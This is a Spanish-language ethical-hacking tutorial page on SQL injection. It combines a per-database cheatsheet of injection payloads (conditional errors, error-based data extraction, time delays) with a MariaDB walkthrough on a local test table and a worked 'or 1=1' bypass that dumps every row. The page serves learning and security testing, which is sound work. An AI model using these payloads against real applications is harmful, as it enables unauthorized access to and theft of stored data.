top of page

SQL
INJECTION

🌐 ENLACES
💉 BURP INJECTIONS
🅱️ SQLI Ciega basada en errores
🅱️ SQLI Ciega con delay data hack
🅱️ SQLI Ciega interact out-of-band
🅱️ SQLI Ciega data exfil out-of-band
LEYENDA DE COLORES
▉ BLANCO Archivos / Encabezados / Palabras destacadas / Output resultante de un comando
▉ [PARÉNTESIS] [Parámetros a introducir en una línea de comandos]
▉ GRIS Introducciones / Aclaraciones / Texto explicativo
▉ VERDE Sintaxis / Comandos / Código genérico
▉ VERDE PÁLIDO Prompts / Parámetros destacados
▉ AZUL Rutas / Directorios / "Windows"
▉ AZUL CLARO URLs / IPs
▉ ROSA Destacar parámetros en una línea de comandos
▉ ROJO Comandos de privilegios / stderr / Atención
▉ NARANJA Valor variable / Usuarios / Grupos / Contraseñas / TCP / "Linux"
▉ AMARILLO Puertos / UDP / JavaScript / php
tipos de bases de datos
📊 TIPOS DE BASES DE DATOS MÁS COMUNES
BASES DE DATOS SQL:
- MySQL (open source)
- MariaDB (open source)
- Oracle Database (Oracle)
- SQLite (open source)
- MS SQL (Microsoft)
- PostgreSQL (open source)
BASES DE DATOS NO-SQL:
- MondoDB (open source)
- Cassandra (open source)
- Redis (open source)
BASES DE DATOS EN LA NUBE:
- Amazon RDS (Amazon)
- Google Cloud SQL (Google)
- Azure Database Services (Microsoft)
cheatsheet
⭐ SQLI CHEATSHEET
A continuación, cómo varia la sintaxis de código según el tipo de base de datos, para distintas finalidades:
COMENTARIOS:
Oracle - -comentario
Microsoft - -comentario
Microsoft /*comentario*/
PostgreSQL - -comentario
PostgreSQL /*comentario*/
MySQL/MariaDB #comentario
MySQL/MariaDB - - comentario
MySQL/MariaDB /*comentario*/
MOSTRAR TIPO Y VERSIÓN DE BASE DE DATOS:
Oracle select banner from v$version
Oracle select version from v$instance
Microsoft select @@version
PostgreSQL select version()
MySQL/MariaDB select @@version
CONCATENACIÓN DE CADENAS/QUERYS:
Oracle 'valor'||'valor'
Microsoft 'valor'+'valor'
PostgreSQL 'valor'||'valor'
MySQL/MariaDB 'valor' 'valor'
MySQL/MariaDB concat('valor','valor')
AMONTONAR CADENAS/QUERYS:
Oracle no soporta
Microsoft primera_query; segunda_query
Microsoft primera_query segunda_query
PostgreSQL primera_query; segunda_query
MySQL/MariaDB primera_query; segunda_query
SUBCADENAS:
Oracle substr('valor', 4, 2)
Microsoft substring('valor', 4, 2)
PostgreSQL substring('valor', 4, 2)
MySQL/MariaDB substring('valor', 4, 2)
MOSTRAR CONTENIDO DE LA BASE DE DATOS:
Oracle select * from all_tables
Oracle select * from all_tab_columns where table_name = 'nombre_tabla'
Microsoft select * from information_schema.tables
Microsoft select * from information_schema.columns where table_name = 'nombre_tabla'
PostgreSQL select * from information_schema.tables
PostgreSQL select * from information_schema.columns where table_name = 'nombre_tabla'
MySQL/MariaDB select * from information_schema.tables
MySQL/MariaDB select * from information_schema.columns where table_name = 'nombre_tabla'
ERRORES CONDICIONALES:
Oracle select case when (condición) then to_char(1/0) else null end from dual
Microsoft select case when (condición) then 1/0 else null end
PostgreSQL 1 = (select case when (condición) then 1/ (select 0) else null end)
MySQL/MariaDB select if (condición, (select nombre_tabla from information_schema.tables),'a')
EXTRAER DATOS MEDIANTE ERRORES VISIBLES:
Oracle no soporta
Microsoft select 'valor' where 1 = (select 'secret')
PostgreSQL select cast ((select password from users limit 1) as int)
MySQL/MariaDB select 'valor' where 1=1 and extractvalue(1, concat(0x5c, (select 'secret')))
RETRASO DE TIEMPO CONDICIONAL:
Oracle select case when (condición) then 'a'||dbms_pipe.receive_message(('a'),10) else null end from dual
Microsoft if (condición) waitfor delay '0:0:10'
PostgreSQL select case when (condición) then pg_sleep(10) else pg_sleep(0) end
MySQL/MariaDB select if(condición,sleep(10),'a')
estructura DB
📚 CREAR/GESTIONAR BASE DE DATOS EN LOCAL (MYSQL / MARIADB)
Iniciar servicio MYSQL en local:
sudo systemctl start mysql
Crear servidor MariaDB:
sudo mysql -uroot
MariaDB [(none)]>
MariaDB: mostrar bases de datos:
show databases;
+----------------------------+
| Database |
+----------------------------+
| information_schema |
| mysql |
| performance_schema |
| sys |
+----------------------------+
4 rows in set (0.000 sec)
MariaDB: crear base de datos nueva:
create database PruebaDB;
MariaDB: borrar base de datos creada:
drop database PruebaDB;
MariaDB: crear base de datos nueva:
show databases;
+----------------------------+
| Database |
+----------------------------+
| PruebaDB |
| information_schema |
| mysql |
| performance_schema |
| sys |
+----------------------------+
5 rows in set (0.000 sec)
MariaDB: indicar que vamos a trabajar en la base de datos PruebaDB:
use PruebaDB;
Database changed
MariaDB: crear tabla "users" con varios campos (columnas):
create table users(id int auto_increment PRIMARY KEY, username varchar(32), password varchar(32), subscription varchar(32));
MariaDB: ver tablas:
show tables;
+---------------------------+
| Tables_in_PruebaDB |
+---------------------------+
| users |
+---------------------------+
1 row in set (0.001 sec)
MariaDB: ver columnas de la tabla users:
describe users;
+----------------+---------------+------+-----+-----------+----------------------+
| Field | Type | Null | Key | Default | Extra |
+----------------+---------------+------+-----+-----------+----------------------+
| id | int(11) | NO | PRI | NULL | auto_increment |
| username | varchar(32) | YES | | NULL | |
| password | varchar(32) | YES | | NULL | |
| subscription | varchar(32) | YES | | NULL | |
+----------------+---------------+------+-----+-----------+----------------------+
4 rows in set (0.001 sec)
MariaDB: insertar DATOS en las columnas de la tabla users (varios usuarios de prueba):
insert users(username, password, subscription) values("admin", "admin123", "No aplica");
+
insert users(username, password, subscription) values("pepe", "peptopep", "2 meses");
+
insert users(username, password, subscription) values("kraken", "crackpasswrd", "12 meses");
+
insert users(username, password, subscription) values("chendo", "ch123qwerty", "8 meses");
MariaDB: ver TODOS LOS DATOS de las columnas de la tabla users):
select * from users;
+----+------------+------------------+----------------+
| id | username | password | subscription |
+----+------------+------------------+----------------+
| 1 | admin | admin123 | No aplica |
| 2 | pepe | peptopep | 2 meses |
| 3 | kraken | crackpasswrd | 12 meses |
| 4 | chendo | ch123qwerty | 8 meses |
+----+------------+------------------+----------------+
4 rows in set (0.001 sec)
ESQUEMA RESULTANTE DE LA BASE DE DATOS:
[BASES DE DATOS]
PruebaDB <--------- [TABLAS]
users <--------- [COLUMNAS]
id
username
password
subscription
crear base datos
#️⃣ QUERYS (CONSULTAS) MARIADB
Las sentencias SQL se suelen dividir en 5 tipos:
- DQL (Data Query Language) –> Contiene la instrucción SELECT.
- DML (Data Manipulation Language) –> Contiene instrucciones como INSERT, UPDATE o DELETE.
- DDL (Data Definition Language) –> Contiene instrucciones como CREATE, ALTER, DROP o TRUNCATE.
- DCL (Data Control Language) –> Contiene intrucciones como GRANT o REVOKE.
- TCL (Transaction Control Language) –> Contiene instrucciones como BEGIN, TRAN, COMMIT o ROLLBACK
--------------------------------------------------------------------------------------------------------------------------------------------------------
🟢 COMANDOS PARA INTERACTUAR CON LA BASE DE DATOS MYSQL / MARIADB:
CREATE DATABASE [nombre_base_datos]; (Crear bases de datos nueva)
DROP DATABASE [nombre_base_datos]; (Borrar bases de datos existente)
SHOW DATABASES; (Mostrar todas las bases de datos)
USE [base_datos]; (Seleccionar base de datos a visionar)
CREATE TABLE [nombre_tabla] (columna1, columna2, ...); (Crear tabla dentro de una base de datos seleccionada)
DROP TABLE [nombre_tabla]; (Crear tabla dentro de una base de datos seleccionada)
SHOW TABLES; (Mostrar las tablas de la base de datos seleccionada)
DESCRIBE [nombre_tabla]; (Describir una tabla específica)
INSERT INTO [nombre_tabla] VALUES (columna1, ...); (Insertar nuevos valores en una tabla)
UPDATE [nombre_tabla] SET [Columna1] = [valor1] WHERE [condición]; (Actualiza registros existentes)
DESCRIBE [nombre_tabla]; (Describir una tabla específica)
DELETE FROM [nombre_tabla] WHERE [condición] (Eliminar registros de una tabla)
SELECT * FROM [nombre_tabla]; (Mostrar todas las columnas de una tabla)
SELECT [columna/s] FROM [nombre_tabla]; (Mostrar columna/s de una tabla)
SELECT [columna/s] FROM [nombre_tabla] WHERE [condición]; (Mostrar columna/s de una tabla)
START TRANSACTION; (Iniciar una transacción de datos)
COMMIT; (Confirma la transacción actual)
ROLLBACK; (Cancela la transacción actual)
SELECT CURRENT_USER(); (Visionar el usuario actual)
SELECT User, Host FROM mysql.user; (Visionar usuarios y su host)
CREATE USER [nombre_usuario]@[host] IDENTIFYED BY [contraseña]; (Crear usuario nuevo)
DROP USER [nombre_usuario]@[host]; (Eliminar usuario existente)
CAMBIAR DE USUARIO ACTUAL A OTRO EXISTENTE:
\q
mysql -u [usuario_nuevo] -p
SYSTEM mysql -u [usuario_nuevo] -p
\!
mysql -u [usuario_nuevo] -p
FLUSH PRIVILEGES; (Recargar el archivo de privilegios)
KILL [id_de_proceso]; (Terminar un proceso específico en el servidor)
SHOW VARIABLES; (Muestra variables de configuración del servidor)
HELP [término_a_buscar]; (Cancela la transacción actual)
\h [comando]; (Muestra ayuda de un comando específico)
--------------------------------------------------------------------------------------------------------------------------------------------------------
EJEMPLOS:
MariaDB: ver todas las columnas de la tabla users:
select * from users;
+----+------------+------------------+----------------+
| id | username | password | subscription |
+----+------------+------------------+----------------+
| 1 | admin | admin123 | No aplica |
| 2 | pepe | peptopep | 2 meses |
| 3 | kraken | crackpasswrd | 12 meses |
| 4 | chendo | ch123qwerty | 8 meses |
+----+------------+------------------+----------------+
4 rows in set (0.001 sec)
MariaDB: ver todas las columnas de la tabla users en las que el "id" sea 1:
select * from users where id='1';
+----+------------+------------------+----------------+
| id | username | password | subscription |
| 1 | admin | admin123 | No aplica |
+----+------------+------------------+----------------+
1 row in set (0.000 sec)
MariaDB: ver todas las columnas de la tabla users en las que el "username" sea pepe:
select * from users where username='pepe';
+----+------------+------------------+----------------+
| id | username | password | subscription |
+----+------------+------------------+----------------+
| 2 | pepe | peptopep | 2 meses |
+----+------------+------------------+----------------+
1 row in set (0.000 sec)
MariaDB: ver la columna "subscription" de la tabla users en la que el "username" sea pepe:
select subscription from users where username='pepe';
+----------------+
| subscription |
+----------------+
| 2 meses |
+----------------+
1 row in set (0.000 sec)
MariaDB: HECKED QUERY. ver la columna "subscription" de la tabla users en la que el "username" sea pepe u otro valor que sea verdadero (y se verán todos los valores de la columna que sea verdaderos además de "pepe"):
select subscription from users where username='pepe' or 1=1;-- -';
o bien:
select subscription from users where username='pepe' or 1=1;#';
+----------------+
| subscription |
+----------------+
| No aplica |
| 2 meses |
| 12 meses |
| 8 meses |
+----------------+
4 rows in set (0.000 sec)
querys
comandos mariaDB
tipos de DB
📋 TIPOS DE SQL INJECTIONS
La inyección SQL es una técnica de hacking que permite a los atacantes manipular las consultas SQL enviadas a una base de datos, lo que puede llevar a la exposición, modificación o eliminación de datos sensibles. En el contexto del hacker ético, esta técnica se utiliza para probar la seguridad de una aplicación web o sistema de gestión de bases de datos, identificando vulnerabilidades que podrían ser explotadas por actores malintencionados.
